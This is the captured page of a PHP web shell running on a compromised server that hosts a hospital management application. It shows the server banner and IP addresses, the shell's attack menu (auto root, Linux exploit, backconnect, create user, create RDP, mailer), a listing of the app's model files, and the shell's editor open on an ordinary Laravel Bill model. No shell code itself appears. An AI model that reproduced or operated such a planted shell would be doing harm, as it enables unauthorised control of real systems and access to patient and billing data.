Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.19
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechschedule.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
Account.php
2.69
KB
-rw-r--r--
Accountant.php
2.45
KB
-rw-r--r--
AddCustomFields.php
1.35
KB
-rw-r--r--
AddOn.php
257
B
-rw-r--r--
Address.php
2.37
KB
-rw-r--r--
AdvancedPayment.php
2.37
KB
-rw-r--r--
Ambulance.php
3.53
KB
-rw-r--r--
AmbulanceCall.php
2.79
KB
-rw-r--r--
Appointment.php
4.72
KB
-rw-r--r--
AppointmentTransaction.php
1.68
KB
-rw-r--r--
Bed.php
4.3
KB
-rw-r--r--
BedAssign.php
6.35
KB
-rw-r--r--
BedType.php
3.46
KB
-rw-r--r--
Bill.php
7.81
KB
-rw-r--r--
BillItems.php
2.36
KB
-rw-r--r--
BirthReport.php
3.43
KB
-rw-r--r--
BloodBank.php
2.17
KB
-rw-r--r--
BloodDonation.php
1.69
KB
-rw-r--r--
BloodDonor.php
2.42
KB
-rw-r--r--
BloodIssue.php
2.73
KB
-rw-r--r--
Brand.php
2.42
KB
-rw-r--r--
CallLog.php
2.14
KB
-rw-r--r--
CaseHandler.php
2.4
KB
-rw-r--r--
Category.php
2.75
KB
-rw-r--r--
Charge.php
2.21
KB
-rw-r--r--
ChargeCategory.php
2.13
KB
-rw-r--r--
Complaint.php
1011
B
-rw-r--r--
CurrencySetting.php
884
B
-rw-r--r--
DeathReport.php
3.32
KB
-rw-r--r--
Department.php
5.09
KB
-rw-r--r--
DiagnosisCategory.php
1.51
KB
-rw-r--r--
Doctor.php
6.49
KB
-rw-r--r--
DoctorDepartment.php
1.62
KB
-rw-r--r--
DoctorHoliday.php
1.88
KB
-rw-r--r--
DoctorOPDCharge.php
1.82
KB
-rw-r--r--
Document.php
4.31
KB
-rw-r--r--
DocumentType.php
1.75
KB
-rw-r--r--
EmailTemplate.php
1.12
KB
-rw-r--r--
EmployeePayroll.php
5.9
KB
-rw-r--r--
Enquiry.php
3.48
KB
-rw-r--r--
EventGoogleCalendar.php
803
B
-rw-r--r--
Expense.php
3.5
KB
-rw-r--r--
FrontService.php
1002
B
-rw-r--r--
FrontSetting.php
2.11
KB
-rw-r--r--
GoogleCalendarIntegration.php
610
B
-rw-r--r--
GoogleCalendarList.php
791
B
-rw-r--r--
HospitalSchedule.php
2.2
KB
-rw-r--r--
Income.php
3.47
KB
-rw-r--r--
Insurance.php
3.06
KB
-rw-r--r--
InsuranceDisease.php
1.42
KB
-rw-r--r--
InvestigationReport.php
4.01
KB
-rw-r--r--
Invoice.php
6.16
KB
-rw-r--r--
InvoiceItem.php
2.07
KB
-rw-r--r--
IpdBill.php
2.98
KB
-rw-r--r--
IpdCharge.php
3.53
KB
-rw-r--r--
IpdConsultantRegister.php
2.55
KB
-rw-r--r--
IpdDiagnosis.php
2.71
KB
-rw-r--r--
IpdOperation.php
1.01
KB
-rw-r--r--
IpdPatientDepartment.php
5.58
KB
-rw-r--r--
IpdPayment.php
3.52
KB
-rw-r--r--
IpdPrescription.php
2.7
KB
-rw-r--r--
IpdPrescriptionItem.php
2.67
KB
-rw-r--r--
IpdTimeline.php
2.99
KB
-rw-r--r--
IssuedItem.php
3.97
KB
-rw-r--r--
Item.php
2.32
KB
-rw-r--r--
ItemCategory.php
1.27
KB
-rw-r--r--
ItemStock.php
3.56
KB
-rw-r--r--
LabTechnician.php
2.54
KB
-rw-r--r--
LiveConsultation.php
10.64
KB
-rw-r--r--
LiveMeeting.php
4.38
KB
-rw-r--r--
LunchBreak.php
1.88
KB
-rw-r--r--
Mail.php
1.99
KB
-rw-r--r--
ManualBillPayment.php
962
B
-rw-r--r--
Medicine.php
3.51
KB
-rw-r--r--
MedicineBill.php
4.63
KB
-rw-r--r--
Module.php
1.86
KB
-rw-r--r--
NoticeBoard.php
2.1
KB
-rw-r--r--
Notification.php
3.56
KB
-rw-r--r--
Nurse.php
2.46
KB
-rw-r--r--
Odontogram.php
942
B
-rw-r--r--
OpdDiagnosis.php
2.51
KB
-rw-r--r--
OpdPatientDepartment.php
4.76
KB
-rw-r--r--
OpdPrescription.php
2.51
KB
-rw-r--r--
OpdPrescriptionItem.php
2.89
KB
-rw-r--r--
OpdTimeline.php
2.83
KB
-rw-r--r--
Operation.php
722
B
-rw-r--r--
OperationCategory.php
455
B
-rw-r--r--
OperationReport.php
3.76
KB
-rw-r--r--
Package.php
1.9
KB
-rw-r--r--
PackageService.php
2.03
KB
-rw-r--r--
PathologyCategory.php
1.29
KB
-rw-r--r--
PathologyParameter.php
2.39
KB
-rw-r--r--
PathologyParameterItem.php
2.21
KB
-rw-r--r--
PathologyTest.php
4.48
KB
-rw-r--r--
PathologyUnit.php
1.41
KB
-rw-r--r--
Patient.php
5.85
KB
-rw-r--r--
PatientAdmission.php
9.58
KB
-rw-r--r--
PatientCase.php
5.2
KB
-rw-r--r--
PatientDiagnosisProperty.php
2.03
KB
-rw-r--r--
PatientDiagnosisTest.php
7.72
KB
-rw-r--r--
PatientIdCardTemplate.php
1013
B
-rw-r--r--
PatientQueue.php
419
B
-rw-r--r--
Payment.php
2.73
KB
-rw-r--r--
Permission.php
4.08
KB
-rw-r--r--
Pharmacist.php
2.6
KB
-rw-r--r--
Postal.php
2.87
KB
-rw-r--r--
Prescription.php
12.6
KB
-rw-r--r--
PrescriptionMedicineModal.php
1.25
KB
-rw-r--r--
PurchaseMedicine.php
898
B
-rw-r--r--
PurchasedMedicine.php
2.18
KB
-rw-r--r--
RadiologyCategory.php
1.29
KB
-rw-r--r--
RadiologyTest.php
3.45
KB
-rw-r--r--
Receptionist.php
2.46
KB
-rw-r--r--
SaleMedicine.php
2.05
KB
-rw-r--r--
Schedule.php
2.44
KB
-rw-r--r--
ScheduleDay.php
3.29
KB
-rw-r--r--
Service.php
2.08
KB
-rw-r--r--
Setting.php
2.38
KB
-rw-r--r--
Sms.php
2.57
KB
-rw-r--r--
Testimonial.php
2.03
KB
-rw-r--r--
Transaction.php
1.92
KB
-rw-r--r--
UsedMedicine.php
1.55
KB
-rw-r--r--
User.php
12.01
KB
-rw-r--r--
UserGoogleEventSchedule.php
936
B
-rw-r--r--
UserZoomCredential.php
1.85
KB
-rw-r--r--
VaccinatedPatients.php
4.02
KB
-rw-r--r--
Vaccination.php
1.54
KB
-rw-r--r--
Visitor.php
3.82
KB
-rw-r--r--
ZoomOAuth.php
335
B
-rw-r--r--
admin.php
1.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Bill.php
<?php namespace App\Models; use App\Repositories\BillRepository; use \PDF; use Carbon\Carbon; use Eloquent as Model; use Illuminate\Contracts\Container\BindingResolutionException; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Support\Facades\Storage; use Str; /** * Class Bill * * @version February 13, 2020, 9:47 am UTC * * @property int $id * @property \Illuminate\Support\Carbon|null $created_at * @property \Illuminate\Support\Carbon|null $updated_at * * @method static Builder|Bill newModelQuery() * @method static Builder|Bill newQuery() * @method static Builder|Bill query() * @method static Builder|Bill whereAmount($value) * @method static Builder|Bill whereBillDate($value) * @method static Builder|Bill whereCreatedAt($value) * @method static Builder|Bill whereId($value) * @method static Builder|Bill wherePatientId($value) * @method static Builder|Bill whereUpdatedAt($value) * * @mixin Model * * @property int $patient_id * @property \Illuminate\Support\Carbon $bill_date * @property float $amount * @property-read Collection|BillItems[] $billItems * @property-read int|null $bill_items_count * @property-read User $patient * @property string $patient_admission_id * * @method static Builder|Bill wherePatientAdmissionId($value) * * @property string $bill_id * @property-read \App\Models\PatientAdmission $patientAdmission * * @method static \Illuminate\Database\Eloquent\Builder|\App\Models\Bill whereBillId($value) * * @property int $is_default * * @method static Builder|Bill whereIsDefault($value) */ class Bill extends Model { public $table = 'bills'; public $fillable = [ 'patient_admission_id', 'patient_id', 'bill_id', 'bill_date', 'amount', 'currency_symbol', 'payment_mode', 'status', ]; protected $casts = [ 'id' => 'integer', 'patient_admission_id' => 'string', 'currency_symbol' => 'string', 'patient_id' => 'integer', 'bill_id' => 'string', 'bill_date' => 'datetime', 'amount' => 'double', 'payment_mode' => 'string', 'status' => 'string', ]; public static $rules = [ 'patient_id' => 'required|integer|min:1', 'bill_date' => 'required|string', ]; const Stripe = 0; const Manually = 1; const Razorpay = 2; const Flutterwave = 8; const PhonePe = 5; const Paystack = 3; const PAYEMENT_TYPE_ARR = [ self::Stripe => 'Stripe', self::Manually => 'Manually', self::Razorpay => 'Razorpay', self::Flutterwave => 'Flutterwave', self::PhonePe => 'PhonePe', self::Paystack => 'Paystack', ]; public function billItems(): HasMany { return $this->hasMany(BillItems::class); } public function patient(): BelongsTo { return $this->belongsTo(Patient::class, 'patient_id'); } public function setBillDateAttribute($value) { $this->attributes['bill_date'] = Carbon::parse($value)->format('Y-m-d H:i:s'); } public function patientAdmission(): HasOne { return $this->hasOne(PatientAdmission::class, 'patient_admission_id', 'patient_admission_id'); } public function manualBillPayment() : HasMany { return $this->hasMany(ManualBillPayment::class, 'bill_id'); } public static function generateUniqueBillId() { return generateCustomSerialNumber(self::class, 'bill_id'); } public function prepareBillItems() { $data = []; foreach ($this->billItems as $bill_item) { $data[] = [ 'id' => $bill_item->id ?? __('messages.common.n/a'), 'item_name' => $bill_item->item_name ?? __('messages.common.n/a'), 'quantity' => $bill_item->qty ?? __('messages.common.n/a'), 'price' => $bill_item->price ?? __('messages.common.n/a'), 'total' => $bill_item->amount ?? __('messages.common.n/a'), ]; } return $data; } public function prepareBills() { return [ 'id' => $this->id ?? __('messages.common.n/a'), 'bill_id' => $this->bill_id ?? __('messages.common.n/a'), 'bill_time' => Carbon::parse($this->bill_date)->format('g:i A') ?? __('messages.common.n/a'), 'bill_date' => Carbon::parse($this->bill_date)->format('jS M, Y') ?? __('messages.common.n/a'), 'amount' => $this->amount ?? __('messages.common.n/a'), 'currency' => getCurrencySymbol() ?? __('messages.common.n/a'), ]; } public function prepareBillDetails() { $admissionDate = Carbon::parse($this->patientAdmission->admission_date); $dischargeDate = Carbon::parse($this->patientAdmission->discharge_date); return [ 'id' => $this->id, 'bill_id' => $this->bill_id, 'bill_time' => isset($this->bill_date) ? Carbon::parse($this->bill_date)->format('g:i A') : __('messages.common.n/a'), 'bill_date' => isset($this->bill_date) ? Carbon::parse($this->bill_date)->format('jS M, Y') : __('messages.common.n/a'), 'amount' => $this->amount ?? __('messages.common.n/a'), 'currency' => getCurrencySymbol() ?? __('messages.common.n/a'), 'patient_admission_id' => $this->patient_admission_id ?? __('messages.common.n/a'), 'admission_detail' => [ 'phone' => getLoggedInUser()->phone ?? __('messages.common.n/a'), 'doctor' => $this->patientAdmission->doctor->doctorUser->full_name, 'admission_date' => isset($this->patientAdmission->admission_date) ? Carbon::parse($this->patientAdmission->admission_date)->format('jS M, Y') : __('messages.common.n/a'), 'admission_time' => isset($this->patientAdmission->admission_date) ? Carbon::parse($this->patientAdmission->admission_date)->format('g:i A') : __('messages.common.n/a'), 'discharge_date' => isset($this->patientAdmission->discharge_date) ? Carbon::parse($this->patientAdmission->discharge_date)->format('jS M, Y') : __('messages.common.n/a'), 'discharge_time' => isset($this->patientAdmission->discharge_date) ? Carbon::parse($this->patientAdmission->discharge_date)->format('g:i A') : __('messages.common.n/a'), 'created_at' => $this->patientAdmission->created_at ? $this->patientAdmission->created_at->diffForHumans() : __('messages.common.n/a'), ], 'insurance_detail' => [ 'package_name' => $this->patientAdmission->package->name ?? __('messages.common.n/a'), 'insurance_name' => $this->patientAdmission->insurance->name ?? __('messages.common.n/a'), 'total_days' => $admissionDate->diffInDays($dischargeDate) + 1, 'policy_no' => $this->patientAdmission->insurance->policy_no ?? __('messages.common.n/a'), ], 'item_details' => $this->prepareBillItems(), 'bill_download' => $this->convertToPdf($this->id), ]; } public function convertToPdf($id) { $bill = Bill::with('billItems')->find($id); $data = App()->make(billRepository::class)->getSyncListForCreate($id); $data['bill'] = $bill; if (Storage::exists('bills/Bill-'.$bill->bill_id.'.pdf')) { Storage::delete('bills/Bill-'.$bill->bill_id.'.pdf'); } $pdf = PDF::loadView('bills.bill_pdf', $data); Storage::disk(config('app.media_disc'))->put('bills/Bill-'.$bill->bill_id.'.pdf', $pdf->output()); $url = Storage::url('bills/Bill-'.$bill->bill_id.'.pdf'); return $url ?? __('messages.common.n/a'); } }
Close